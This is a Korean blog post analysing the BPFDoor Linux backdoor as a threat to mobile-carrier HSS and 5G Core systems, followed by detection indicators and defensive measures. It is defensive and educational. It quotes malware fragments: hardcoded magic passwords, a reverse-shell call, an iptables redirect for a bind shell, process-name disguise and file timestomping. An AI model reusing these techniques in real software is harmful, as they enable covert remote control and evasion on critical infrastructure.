카테고리 없음

1. HSS_5G_Core_SKT_백도어_분석

럭스미아 2025. 4. 28. 19:21

BPFDoor 분석 보고서: 이동통신 인프라에 대한 위협

1. 개요

GitHub - gwillgues/BPFDoor: BPFDoor Source Code. Originally found from Chinese Threat Actor Red Menshen

위 공개된 코드는 리눅스 기반 시스템에 설치될 수 있는 백도어 악성코드로, 특히 이동통신사의 Home Subscriber Server(HSS) 또는 5G Core 네트워크 장비와 같은 중요 인프라를 표적으로 할 수 있는 형태입니다. 이 분석 보고서는 해당 악성코드의 작동 방식과 네트워크 보안에 미치는 영향을 교육 목적으로 설명합니다.

2. 백도어 침투 및 설치 방법

2.1 초기 접근

이 백도어는 다음과 같은 방법으로 HSS/5G Core 시스템에 초기 접근할 수 있습니다:

  • 시스템 관리자 계정 탈취를 통한 직접 설치
  • 시스템 패치 또는 업데이트 과정에서의 공급망 공격
  • 내부자 위협을 통한 의도적 설치
  • 기존 취약점을 이용한 원격 코드 실행

2.2 설치 과정

코드 분석 결과, 백도어는 다음과 같은 설치 과정을 거칩니다:

시스템 권한 확인 → 중복 실행 방지 → 프로세스 위장 → 데몬화 → 패킷 수신 대기

특히 코드의 다음 부분이 중요합니다:

  • if (getuid() != 0) { return 0; } - 루트 권한이 없으면 종료
  • /var/run/haldrund.pid 파일을 통한 중복 실행 방지
  • 정상적인 시스템 프로세스 이름으로 위장 (예: /sbin/udevd -d)

3. 백도어 주요 기능 분석

3.1 네트워크 모니터링 메커니즘

이 백도어는 원시 소켓(raw socket)을 사용하여 특별히 조작된 패킷을 모니터링합니다:

if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
    return;

Berkeley Packet Filter(BPF)를 사용하여 특정 패턴의 패킷만 필터링합니다:

struct sock_filter bpf_code[] = { ... };
setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter));

이를 통해 정상적인 네트워크 트래픽 속에서 특수 명령 패킷만 식별할 수 있습니다.

3.2 인증 메커니즘

백도어는 하드코딩된 두 개의 암호를 사용합니다:

  • "justforfun" - 기본 명령 실행용
  • "socket" - 확장 기능 접근용
char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket

이 암호는 원격 공격자가 백도어 제어 권한을 얻기 위해 필요합니다.

3.3 통신 암호화

백도어는 RC4 알고리즘을 사용하여 통신을 암호화합니다:

rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);

이를 통해 침입 탐지 시스템(IDS)이나 네트워크 모니터링 도구에 의한 탐지를 회피할 수 있습니다.

3.4 원격 제어 기능

백도어는 다음과 같은 원격 제어 기능을 제공합니다:

  1. 리버스 쉘: 공격자의 시스템으로 연결을 시도하여 쉘 접근 제공
  2. scli = try_link(bip, mp->port); if (scli > 0) shell(scli, NULL, NULL);
  3. 바인드 쉘: iptables를 조작하여 특정 포트로 들어오는 트래픽을 내부 쉘로 리디렉션
  4. snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport); system(cmd); // executes /sbin/iptables -t nat -A PREROUTING...
  5. 모니터링 모드: UDP 패킷을 사용한 상태 확인
  6. mon(bip, mp->port);

4. HSS/5G Core 네트워크에 대한 영향

4.1 잠재적 위험

HSS(Home Subscriber Server)는 이동통신망의 중요 구성요소로, 가입자 인증과 서비스 프로필 관리를 담당합니다. 5G Core에서는 UDM(Unified Data Management)과 AUSF(Authentication Server Function)로 그 기능이 확장됩니다. 이 백도어가 이러한 시스템에 설치될 경우:

  1. 가입자 데이터 유출: 공격자가 가입자 정보(IMSI, 인증 키, 프로필 등)에 접근 가능
  2. 인증 우회: 특정 장치나 사용자에 대한 인증 과정 조작 가능
  3. 네트워크 무결성 손상: 백도어를 통해 추가 악성코드 설치 가능
  4. 서비스 거부: 시스템 리소스 남용으로 서비스 중단 유발 가능

4.2 백도어의 지속성 메커니즘

이 백도어는 다음과 같은 방법으로 지속성을 유지합니다:

  1. 프로세스 위장:
  2. char *self[] = { "/sbin/udevd -d", "/sbin/mingetty /dev/tty7", // ... }; strcpy(cfg.mask, self[rand()%10]); set_proc_name(argc, argv, cfg.mask);
  3. 파일 시간 조작:
  4. tv[0].tv_sec = 1225394236; // 2008년 10월 30일 utimes(file, tv);
  5. PID 파일 생성:
  6. close(open(pid_path, O_CREAT|O_WRONLY, 0644));

5. 탐지 및 방어 방법

5.1 네트워크 레벨 방어

  1. 딥 패킷 검사: 특히 원시 소켓을 사용하는 패킷 검사
  2. 이상 트래픽 모니터링: 비정상적인 포트나 프로토콜 사용 감지
  3. 네트워크 세그먼테이션: HSS/5G Core 네트워크의 엄격한 분리 및 접근 제한

5.2 시스템 레벨 방어

  1. 무결성 검증: 시스템 파일 및 실행 파일의 정기적 무결성 검사
  2. 이상 프로세스 모니터링: 비정상적인 프로세스 행동 패턴 감시
  3. 로그 분석: iptables 변경 등 시스템 변경사항 모니터링
  4. 권한 관리: 최소 권한 원칙 적용, 루트 계정 접근 제한

5.3 백도어 특이 징후

다음과 같은 징후는 이 백도어의 존재를 나타낼 수 있습니다:

  1. /var/run/haldrund.pid 파일 존재
  2. 네트워크 인터페이스의 원시 소켓 사용
  3. 예상치 못한 iptables NAT 규칙 생성
  4. /usr/libexec/postfix/master 프로세스 비정상 실행

6. 고급 보안 방안

6.1 네트워크 인프라 보호 강화 방안

  1. 제로 트러스트 아키텍처 도입
    • 네트워크 내부에서도 모든 접근을 항상 검증하는 보안 모델 구현
    • 5G Core 네트워크 내부 서비스 간 상호 인증 요구
    • 모든 접근에 대한 최소 권한 정책 적용
    • 지속적인 접근 검증 및 모니터링 체계 구축
  2. 서비스 기반 아키텍처(SBA) 보안 강화
    • 5G Core의 SBA 구조에서 API 보안 강화
    • NF(Network Function) 간 통신을 위한 상호 TLS(mTLS) 인증 의무화
    • API 게이트웨이를 통한 중앙화된 정책 적용 및 모니터링
    • OAuth 2.0 및 JWT 기반 토큰 인증 체계 구현
  3. 네트워크 슬라이싱 보안
    • 네트워크 슬라이스 간 완전한 격리 보장
    • 슬라이스 생성 및 관리 API에 대한 강력한 인증 구현
    • 슬라이스별 보안 정책 적용 및 모니터링
    • 슬라이스 간 트래픽 누수 방지 메커니즘 구현

6.2 시스템 수준 보안 강화 방안

  1. 이머터블 인프라 구현
    • 시스템 변경이 불가능한 이미지 기반 배포
    • 모든 변경사항은 새로운 이미지 빌드를 통해서만 적용
    • 지속적인 무결성 검증 및 이상 감지
    • 정기적인 시스템 재배포를 통한 지속성 공격 방지
  2. 시큐어 부팅 및 신뢰 체인
    • 하드웨어 보안 모듈(HSM) 활용한 부트로더 및 OS 무결성 검증
    • 신뢰 루트(Root of Trust)에서 시작하는 신뢰 체인 구현
    • 서명되지 않은 코드 실행 방지
    • UEFI 보안 부팅 및 TPM 활용
  3. 컨테이너 및 가상화 보안
    • 컨테이너 이미지 취약점 분석 및 관리
    • 컨테이너 런타임 보안 모니터링
    • 가상머신 및 컨테이너 격리 강화
    • 하이퍼바이저 수준의 보안 통제 구현

6.3 운영 레벨 보안 강화 방안

  1. 지속적 보안 모니터링
    • SIEM(Security Information and Event Management) 솔루션 구축
    • 행위 기반 이상 탐지(UEBA) 시스템 도입
    • 머신러닝 기반 이상 패턴 감지
    • 24/7 보안 운영 센터(SOC) 운영
  2. 침해 대응 체계 고도화
    • 자동화된 위협 인텔리전스 수집 및 적용
    • 사이버 킬 체인 기반 대응 프로세스 구축
    • 사고 대응 자동화(SOAR) 체계 구현
    • 정기적인 침해 대응 훈련 및 시뮬레이션
  3. 공급망 보안 강화
    • 5G 장비 및 소프트웨어에 대한 검증 체계 구축
    • 공급업체 보안 평가 및 모니터링
    • 소프트웨어 구성 요소(SBoM) 관리
    • 신뢰할 수 있는 공급업체 인증 프로그램 운영

6.4 5G 특화 보안 강화 방안

  1. 시그널링 보안 강화
    • HTTP/2 기반 서비스 시그널링 보안 통제
    • NF 간 시그널링 메시지 필터링 및 모니터링
    • 시그널링 스톰 탐지 및 방어 메커니즘
    • 이상 시그널링 패턴 실시간 분석
  2. 인증 및 암호화 강화
    • 암호화 키 관리 체계 고도화
    • 퀀텀 내성 암호화(PQC) 준비
    • 5G-AKA 인증 프로토콜 모니터링
    • 심층 방어를 위한 다층적 인증 체계 구현
  3. 에지 컴퓨팅 보안
    • MEC(Multi-access Edge Computing) 환경 보안 강화
    • 에지 노드 물리적/논리적 보안 통제
    • 에지-코어 통신 암호화 및 인증
    • 분산 환경에서의 중앙화된 보안 정책 적용

7. 결론

분석된 백도어 코드는 5G Core 네트워크와 같은 중요 통신 인프라를 표적으로 하는 고도의 위협을 보여줍니다. 특히 인증 서버(HSS/UDM/AUSF)에 대한 공격은 전체 네트워크 보안에 심각한 위협이 됩니다.

이러한 위협에 대응하기 위해서는:

  1. 정기적인 보안 감사 및 취약점 평가
  2. 보안 패치의 신속한 적용
  3. 다층적 방어 전략 구현
  4. 이상 행동 기반 탐지 시스템 구축
  5. 보안 인식 교육 및 내부자 위협 관리
  6. 제로 트러스트 아키텍처 및 지속적 검증 체계 구현

5G 네트워크는 그 특성상 이전 세대보다 더 넓은 공격 표면을 제공하고 있으며, 분산된 아키텍처와 소프트웨어 기반 기능으로 인해 보안 접근 방식의 근본적인 변화가 필요합니다. 이동통신 인프라의 보안은 국가 안보와도 직결되는 중요한 문제이므로, 설계 단계부터 운영까지 전주기적인 보안 관리가 필수적입니다.

경고
이 문서는 교육 목적으로 작성되었으며, 실제 공격 수행을 위한 정보로 사용되어서는 안 됩니다. 모든 보안 테스트는 적절한 승인과 통제된 환경에서 수행되어야 합니다.